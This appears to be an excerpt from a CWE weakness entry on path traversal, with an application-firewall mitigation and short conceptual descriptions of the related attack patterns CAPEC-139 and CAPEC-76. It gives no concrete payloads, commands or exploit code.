Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-139: Relative Path Traversal
An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.